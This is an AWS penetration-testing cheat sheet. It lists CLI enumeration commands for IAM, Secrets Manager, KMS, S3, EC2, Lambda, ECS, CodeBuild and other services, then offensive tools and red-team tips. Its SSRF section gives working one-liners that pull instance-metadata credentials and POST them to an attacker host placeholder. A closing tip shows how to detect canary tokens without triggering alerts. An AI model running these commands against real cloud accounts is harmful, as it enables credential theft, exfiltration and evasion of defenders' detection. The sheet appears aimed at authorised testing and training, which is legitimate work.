AWS

Introduction

Nowadays, it is pretty common that applications are being executed inside cloud environments like Amazon Web Service (AWS). In this section, you will learn some techinques that will help you to enumerate your environment.

Profile Configuration

aws configure --profile $profile
aws configure set aws_session_token "" --profile $profile

Assume Role

# Assume the role
aws sts assume-role \
  --role-session-name "PostExploitSession" \
  --profile $profile \
  --role-arn "" > /tmp/post_creds.json

# Export to environment variables
## JQ
export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' /tmp/post_creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' /tmp/post_creds.json)
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' /tmp/post_creds.json)
## Python
export AWS_ACCESS_KEY_ID=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["AccessKeyId"])')
export AWS_SECRET_ACCESS_KEY=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["SecretAccessKey"])')
export AWS_SESSION_TOKEN=$(python3 -c 'import json; print(json.load(open("/tmp/post_creds.json"))["Token"])')

# Update the AWS CLI profile configuration
aws configure set aws_access_key_id "$AWS_ACCESS_KEY_ID" --profile $profile
aws configure set aws_secret_access_key "$AWS_SECRET_ACCESS_KEY" --profile $profile
aws configure set aws_session_token "$AWS_SESSION_TOKEN" --profile $profile
aws configure set region us-east-1 --profile $profile
aws configure set output json --profile $profile

Enumeration Commands

Caller identity

Enumeration Commands

aws sts get-caller-identity --query 'Arn' --output text --profile $profile
aws iam get-user --profile $profile
# If you only have a Key ID
aws sts get-access-key-info --access-key-id=ASIA1234567890123456

IAM

Policies

Enumeration Commands

# Obtain none default policies
aws iam list-policies --scope Local --profile $profile \
--query 'Policies[].{PolicyName:PolicyName, PolicyARN:Arn}' --output table


aws iam list-attached-user-policies --query AttachedPolicies --profile $profile --user-name ""

aws iam get-policy-version --version-id v1 --query 'PolicyVersion.Document.Statement[]' --profile $profile --policy-arn ""

Roles

aws iam list-roles --profile $profile | jq .Roles[].RoleName
#Get role
aws iam get-role --profile $profile  --role-name <role-name> 
## inline policies
aws iam list-role-policies --profile $profile --role-name <name> #Get inline policies of a role
aws iam get-role-policy --profile $profile --role-name <name> --policy-name "" #Get inline policy details
## attached policies in roles
aws iam list-attached-role-policies --profile $profile --role-name "" #Get policies of role, it doesn't get inline policies

Secrets

Enumeration Commands

aws secretsmanager list-secrets --profile $profile --query 'SecretList[].Name'
aws secretsmanager get-secret-value --profile $profile --secret-id ""

KMS

Enumeration Commands

aws kms list-aliases --profile $profile --query 'Aliases[?TargetKeyId].{AliasName:AliasName, TargetKeyId:TargetKeyId}'

# Check key access
aws kms list-keys --profile $profile --query Keys[].KeyId | jq .[] -r | xargs -I [] bash -c 'aws kms describe-key --key-id [] --profile $profile 2>&1 | grep -v AccessDeniedException'

# Key Policy
aws kms list-key-policies --profile $profile --query PolicyNames --key-id ""
aws kms get-key-policy --profile $profile --query Policy --output text --policy-name "<default>" --key-id "" 

S3

Enumeration Commands

aws s3 ls --profile $profile

aws s3api get-bucket-policy --profile $profile --query Policy --output text --bucket "" | jq

aws s3api get-object-acl --profile $profile --bucket "" --key "flag.txt" 

EC2

Enumeration Commands

aws ec2 describe-instances \
 	--output json --profile $profile \
    --query 'Reservations[*].Instances[*].{Instance:InstanceId,Type:InstanceType,IamProfile:IamInstanceProfile.Arn,State:State.Name,PrivateIP:PrivateIpAddress,PublicIP:PublicIpAddress,SGs:SecurityGroups[*],Name:Tags[?Key==`Name`].Value | [0]}' 
    
# Enumerate ONLY EC2 instances with public IPs
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text --profile $profile

# UserData
aws ec2 describe-instance-attribute --profile $profile \
	--region us-east-1 --instance-id "" \
	--attribute userData  | jq ".UserData.Value" | tr -d '"' | base64 -d


aws ec2 describe-security-groups \
	--output table --profile $profile \
	--group-ids "" \
	--query 'SecurityGroups[*].IpPermissions[*].{Protocol:IpProtocol, FromPort:FromPort, ToPort:ToPort, Source:IpRanges[*].CidrIp | [0]}'

# Get if IMDSv2 is enabled 
# "HttpTokens": "optional" -> IMDSv1 & IMDSv2 are accepted
# "HttpTokens": "required" -> IMDSv2 is enforced
aws ec2 describe-instances \
    --instance-ids "" \
    --query 'Reservations[*].Instances[*].MetadataOptions' \
    --profile $profile

LightSail - Database

Enumeration Commands

aws lightsail get-instances --profile $profile

aws lightsail get-relational-databases \
	--query 'relationalDatabases[*].{Name:name, Host:masterEndpoint.address, Port:masterEndpoint.port, User:masterUsername, Public:publiclyAccessible, State:state}' \
	--output json --profile $profile

RDS

Enumeration Commands

aws rds describe-db-instances --profile $profile --output json \
  --query 'DBInstances[*].{ID:DBInstanceIdentifier, Status:DBInstanceStatus, Engine:Engine, Class:DBInstanceClass, Size:AllocatedStorage, Public:PubliclyAccessible, Endpoint:Endpoint.Address, Port:Endpoint.Port, MasterUser:MasterUsername, Roles:AssociatedRoles}'
		
aws rds describe-db-snapshots \
    --include-public \
    --profile $profile \
    --query "DBSnapshots[?contains(DBSnapshotIdentifier, '<SOURCE_ACCOUNT_ID>:')].[DBSnapshotIdentifier,Engine,AllocatedStorage]"

Lambda

Enumeration Commands

aws lambda list-functions --profile $profile --output json \
  --query 'Functions[*].{Name:FunctionName, ARN:FunctionArn, Role:Role, Runtime:Runtime, Description:Description, Env:Environment.Variables, Handler:Handler}'
  
aws lambda get-function-url-config \
  --profile $profile \
  --function-name ""
  
wget -nv -O /tmp/lambda_function.zip $(aws lambda get-function --profile $profile --query 'Code.Location' --function-name "" --output text)

EFS

Enumeration Commands

# Enumerating the EFS and its mount targets
aws efs describe-file-systems --profile $profile --query 'FileSystems[].FileSystemId' --output text \
| tr '\t' '\n' \
| while read fs; do
    echo "=== $fs ===";
    aws efs describe-file-systems --file-system-id "$fs" \
      --profile $profile \
      --query 'FileSystems[].{Id:FileSystemId,State:LifeCycleState,Encrypted:Encrypted,MountTargets:NumberOfMountTargets}' \
      --output table;
    aws efs describe-mount-targets --file-system-id "$fs" \
      --profile $profile \
      --query 'MountTargets[].{MountTargetId:MountTargetId,SubnetId:SubnetId,AZ:AvailabilityZoneName,Ip:IpAddress}' \
      --output table;
  done

DynamoDB

Enumeration Commands

aws dynamodb list-tables --profile $profile --query TableNames
aws dynamodb describe-table --profile $profile --table-name ""

ECR

Source & Post-Exploitation

ECS

Enumeration Commands

aws ecs list-clusters --query clusterArns --profile $profile
aws ecs list-container-instances --profile $profile  --cluster ""

aws ecs describe-container-instances \
    --query 'containerInstances[*].{InstanceID: ec2InstanceId,Agent: agentConnected,Attributes: attributes[?value != `null` && value != ``].{Name:name, Value:value}}' \
    --output json \
    --profile $profile \
    --cluster "" \
    --container-instances "" 
    
aws ecs list-tasks --query taskArns --profile $profile --cluster ""

aws ecs describe-tasks \
    --query 'tasks[*].{ TaskId: taskArn, ExecuteCommand: enableExecuteCommand, LastStatus: lastStatus, Containers: containers[*].{Name:name, RuntimeId:runtimeId, Privileged:privileged}, Overrides: overrides.containerOverrides[*].{Name:name, Env:environment}, ENI: attachments[?type==`ElasticNetworkInterface`].details[?name==`networkInterfaceId`].value | [0] }' \
    --profile $profile \
    --cluster "" \
    --tasks ""

ElasticBeanStalk

Enumeration Commands

aws elasticbeanstalk describe-applications \
	 --query 'Applications[*].{Name:ApplicationName, Arn:ApplicationArn, Versions:Versions, ConfigurationTemplates:ConfigurationTemplates}' \
--profile $profile

aws elasticbeanstalk describe-application-versions \
    --query 'ApplicationVersions[*].{Version:VersionLabel, Bucket:SourceBundle.S3Bucket, Key:SourceBundle.S3Key, Date:DateCreated}' \
    --output table \
    --profile $profile \
    --application-name "<YourAppName>" \


aws elasticbeanstalk describe-environments \
    --query 'Environments[*].{Name:EnvironmentName, URL:CNAME,EndpointURL:EndpointURL, ApplicationName:ApplicationName,VersionLabel:VersionLabel, PlatformArn: PlatformArn, Tier:Tier, EnvironmentLinks:EnvironmentLinks, Status:Status, Health:Health}' \
    --profile $profile  \
    --application-name "<ApplicationName>"

Codebuild

Enumeration Commands

aws codebuild list-projects --profile $profile

aws codebuild batch-get-projects \
    --query 'projects[*].{
        Name: name,
        Description: description,
        Source: source.{Type:type, Location:location, Buildspec:buildspec},
        Role: serviceRole,
        Privileged: environment.privilegedMode,
        Env: environment,
        Vpc: vpcConfig.vpcId,
        encryptionKey: encryptionKey
    }' --output json \
    --profile $profile \
    --names exam_1_project
    
    
aws codebuild list-source-credentials --profile $profile
aws codebuild list-builds-for-project --profile $profile --project-name ""
aws codebuild batch-get-builds --profile $profile --ids "" 

SQS

Enumeration Commands

aws sqs list-queues --query QueueUrls --profile $profile
aws sqs get-queue-attributes --profile $profile --attribute-names All  --queue-url ""

SNS

Enumeration Commands

aws sns list-topics --query Topics --profile $profile 

aws sns get-topic-attributes --profile $profile --region us-east-1 --topic-arn ""

aws sns subscribe --profile $profile --protocol https --topic-arn <TopicArn> --notification-endpoint https://<YOUR_NGROK_ID>.ngrok-free.app 

Cognito

Enumeration Commands

aws cognito-idp list-user-pools --max-results 10 --profile $profile

Schedulers

Enumeration Commands

API Gateway

Enumeration Commands

Step Functions

Enumeration Commands

SSRF inside AWS

Enumeration Commands

If you can perform an SSRF attack inside an AWS EC2 instance, container, lambda function or elastik server, you can retrieve its temporal credentials.

EC2 Creds - IMDSv1 || Elastic Beanstalk

ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE | curl -X POST -d @- http://<IP>:<PORT>/

EC2 Creds - IMDSv2

TOKEN=$(curl -sqk -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); ROLE=$(curl -sqk -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -sqk -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE | curl -X POST -d @- http://<IP>:<PORT>/

EC2 User-data

http://169.254.169.254/latest/user-data

Lambda

file:///proc/self/environ

Containers metadata

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tools

Pentesting/Red Teaming:

• confused-binary/aws-enumerator: A Go-based tool designed for service enumeration and data dumping during black-box testing to speed up the review of compromised AWS accounts.

• bf-aws-perms-simulate: A Python script that identifies an AWS user's permissions by performing batch simulations of API actions using the SimulatePrincipalPolicy method.

• aws-Perms2ManagedPolicies: A utility that compares a list of discovered permissions against existing AWS managed policies to identify which policies might be granting those permissions.

• CloudPEASS: Part of the PEASS-ng suite, this tool is designed for automated cloud privilege escalation scanning across AWS, Azure, and GCP.

• Pacu: Metasploit for AWS

Audit related

• cloudfox: An offensive security tool for penetration testers to discover exploitable attack paths and gain situational awareness in unfamiliar cloud environments.

• ScoutSuite: A multi-cloud security auditing tool that automates the collection of configuration data and generates an HTML report highlighting security risks.

• tfstate2IAM: A Python tool that parses Terraform state files in S3 buckets to extract IAM entities (users, roles, policies), providing insight into permissions without requiring direct IAM read access.

Red Team Tips

Cloud Trail Bypasses

Bypass Detection

EKS Post Exploitation

Discovering Canary Tokens

The best way to identify canary tokens without triggering an alerts is by adding that token to a profile and perform requests against a resource outside of the attacking organization. Example:

aws --profile canary sns publish --topic-arn arn:aws:sns:us-east-1:947247140022:aa --message asdasd --region us-east-1

An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::717712589309:user/canarytokens.com@@xjzpd7wuds5oanjm7wrg1rp1m is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:947247140022:aa because no resource-based policy allows the SNS:Publish action

As a result, you can see that that user might be some canary token.